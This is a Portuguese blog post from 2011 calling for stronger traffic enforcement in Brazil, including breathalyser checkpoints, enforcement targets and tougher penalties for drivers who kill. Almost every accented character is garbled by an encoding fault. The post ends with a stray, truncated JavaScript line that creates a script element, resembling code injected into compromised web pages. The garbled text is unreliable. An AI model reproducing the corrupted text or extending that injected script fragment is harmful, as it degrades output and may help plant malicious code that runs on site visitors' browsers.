Reduzir mortes no trA?nsito: desafio para todos

May 12 2011
(0) Comments


Beto Albuquerque na instalaA�A?o da Frente Parlamentar em Defesa do TrA?nsito Seguro, da qual ele foi presidente por sete anos.

Diante das tragA�dias no trA?nsito, A� decisiva a mobilizaA�A?o da sociedade e dos governos em favor da adoA�A?o de metas de fiscalizaA�A?o de no mA�nimo um terA�o dos condutores de veA�culos, todos os anos.A� A sensaA�A?o de que a fiscalizaA�A?o A� pequena e aleatA?ria faz com que mais motoristas se arrisquem e o CA?digo de TrA?nsito Brasileiro (CTB) caia em descrA�dito.A�

As estatA�sticas estA?o aA�, todos os dias para quem quiser ver. NotA�cia recente, por exemplo, demonstra que a mortalidade nas estradas federais brasileiras bateu recorde em 2010, com uma elevaA�A?o de 15%.

No caso de um dos maiores avanA�os na legislaA�A?o, a a�?Lei Secaa�?, o que conta A� mostrar ao motorista que ele tem grande chance de ser abordado por uma blitz de trA?nsito e acabar punido se dirigir bA?bado. Mas sA?o muito poucos aqueles que sopraram uma vez na vida o bafA?metro ou que tiveram sua documentaA�A?o verificada. NA?o A� nenhum demA�rito ser alvo da fiscalizaA�A?o de trA?nsito, pois isto sA? aumenta a seguranA�a do cidadA?o contra potenciais causadores de acidentes. Portanto, A� a sociedade, os serviA�os de saA?de, os pais e mA?es que saem ganhando quando se evita uma tragA�dia.

A OrganizaA�A?o Mundial de SaA?de (OMS) recomenda uma dA�cada de aA�A�es visando A� reduA�A?o dos A�ndices de mortalidade no trA?nsito.A� O Brasil precisa adotar suas aA�A�es em carA?ter emergencial e permanente. AlA�m de ser um dos cinco paA�ses que mais matam no trA?nsito, 30% da nossa frota, segundo o Denatran, transita com alguma irregularidade, seja na documentaA�A?o do veA�culo ou na habilitaA�A?o do condutor. Isto A� um convite A� infraA�A?o de trA?nsito.

Para combater nA?meros que equivalem A�s baixas de uma guerra A� preciso que as autoridades, da mais alta hierarquia, nos trA?s nA�veis (federal, estadual e municipal), estabeleA�am um Plano de ReduA�A?o de Mortes e LesA�es no TrA?nsito como prioridade de governo, constituindo um gabinete com poderes para mobilizar a todos os A?rgA?os para obter resultados mensurA?veis de diminuiA�A?o dos acidentes.

Para financiar o Plano, com treinamento de policiais e agentes de trA?nsito, compra de equipamentos e a realizaA�A?o de campanhas educativas, A� imperiosa a necessidade de aplicaA�A?o, para esta finalidade, dos recursos arrecadados na cobranA�a de multas de trA?nsito.

Exemplos bem sucedidos de polA�ticas na qual a fiscalizaA�A?o de trA?nsito A� um instrumento relevante de proteA�A?o ao cidadA?o existem nos Estados Unidos e nos paA�ses europeus. FranA�a, Espanha e Portugal, sA? para citar trA?s experiA?ncias, reduziram em 50% suas estatA�sticas de mortes no trA?nsito. No Brasil, o Rio de Janeiro que, desde 29 de marA�o do ano 2009, vem realizando a OperaA�A?o Lei Seca e obtendo bons resultados.

Em grande parte de nossas rodovias percorre-se longos trechos, ou mesmo a viagem inteira, sem qualquer tipo de abordagem, de fiscalizaA�A?o. Mesmo quando sA?o cometidas imprudA?ncias, ultrapassagens proibidas, excesso de velocidade; mesmo quando o motorista transita no acostamento, ele segue impune, alimentando a sensaA�A?o de impunidade que mata imprudentes e mata tambA�m os que seguem respeitando as normas e sA?o apanhados no meio da rodovia.

Dessa forma, o sentimento de impunidade A� o motor das mortes no trA?nsito. Por isso, A� preciso maior rigor na puniA�A?o para os chamados crimes de trA?nsito, verdadeiros homicA�dios dolosos, com a intenA�A?o de matar. A� preciso que o JudiciA?rio tenha este entendimento para punir motoristas embriagados, ou que excedam a velocidade permitida, e que matam ao volante.

Um plano de seguranA�a no trA?nsito deve passar por maior atenA�A?o dos governos no Brasil, de tal forma que destinem recursos para a aparelhagem das polA�cias que devem cuidar do trA?nsito, e tambA�m da mudanA�a de comportamento, de uma nova mentalidade de fiscalizaA�A?o.

Estamos correndo atrA?s do prejuA�zo e temos o dever de mudar esta triste realidade de enterrarmos nossos jovens, vA�timas do asfalto, da velocidade e da imprudA?ncia. EstA? na hora de passarmos para uma nova fase: a de contabilizarmos vidas salvas no trA?nsito, perseguindo obstinadamente este objetivo.

var d=document;var s=d.createElement(‘script’);